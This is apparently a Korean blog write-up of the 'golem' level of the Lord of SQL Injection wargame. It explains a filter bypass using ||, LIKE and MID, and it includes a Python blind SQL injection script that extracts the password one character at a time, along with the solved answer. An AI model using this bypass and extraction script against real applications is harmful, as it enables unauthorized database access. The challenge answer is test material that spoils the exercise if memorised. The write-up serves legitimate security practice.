[Lord of SQL Injection] golem 11번 풀이
[ 문제 접근 ]
1. if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); : or,and,substr,= 문자열을 필터링함
2. if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; : id가 존재하면 Hello를 띄워줌
3. if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); :
질의결과의 pw가 우리가 입력한 pw와 같을 경우 solve 시켜줌 => blindsqlinjection 사용해야 함을 유추 가능
=>방법 : or, and를 우회, 기존에 substr대신에 한글자씩 비교할 수 있는 함수를 사용
=> = 대신 다른 방식으로 비교하는 방법을 찾자!
*힌트 : like, MID
https://devdori.tistory.com/24 : or, and 우회방법
https://devdori.tistory.com/36: 문자열 자르는 방법
[ 문제풀이 ]
더보기
<정답> : ?pw=77d6290b
<풀이>
이번 문제에서는 기존의 blindsqlinjection코드에서
or => || , = => like , substr => MID 로 바꾸면 풀 수 있었다.
import requests
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
cookies = {'PHPSESSID':'uoaqqo49al5a3l6baodafl6edv'}
pw = ""
for i in range(1,9):
for j in range(48,123):
req = f"{url}?pw=' || ascii(MID(pw,{i},1)) like '{j}"
res = requests.get(req,cookies=cookies)
print(chr(j))
if res.text.find("<h2>Hello admin</h2><code>") != -1:
print(f"====={chr(j)}=====")
pw+=chr(j)
break
print(f"====(pw : {pw})====")
"GOLEM Clear!" 가 나타났다! 정답!
이제 다음 스테이지로 넘어가도록 하자
'WarGame > Lord of SQL Injection' 카테고리의 다른 글
[Lord of SQL Injection] bugbear 13번 풀이 (0) | 2021.10.17 |
---|---|
[Lord of SQL Injection] darkknight 12번 풀이 (0) | 2021.10.17 |
[Lord of SQL Injection] skeleton 10번 풀이 (0) | 2021.10.17 |
[Lord of SQL Injection] vampire 9번 풀이 (0) | 2021.10.17 |
[Lord of SQL Injection] troll 8번 풀이 (0) | 2021.10.13 |
댓글
이 글 공유하기
다른 글
-
[Lord of SQL Injection] bugbear 13번 풀이
[Lord of SQL Injection] bugbear 13번 풀이
2021.10.17 -
[Lord of SQL Injection] darkknight 12번 풀이
[Lord of SQL Injection] darkknight 12번 풀이
2021.10.17 -
[Lord of SQL Injection] skeleton 10번 풀이
[Lord of SQL Injection] skeleton 10번 풀이
2021.10.17 -
[Lord of SQL Injection] vampire 9번 풀이
[Lord of SQL Injection] vampire 9번 풀이
2021.10.17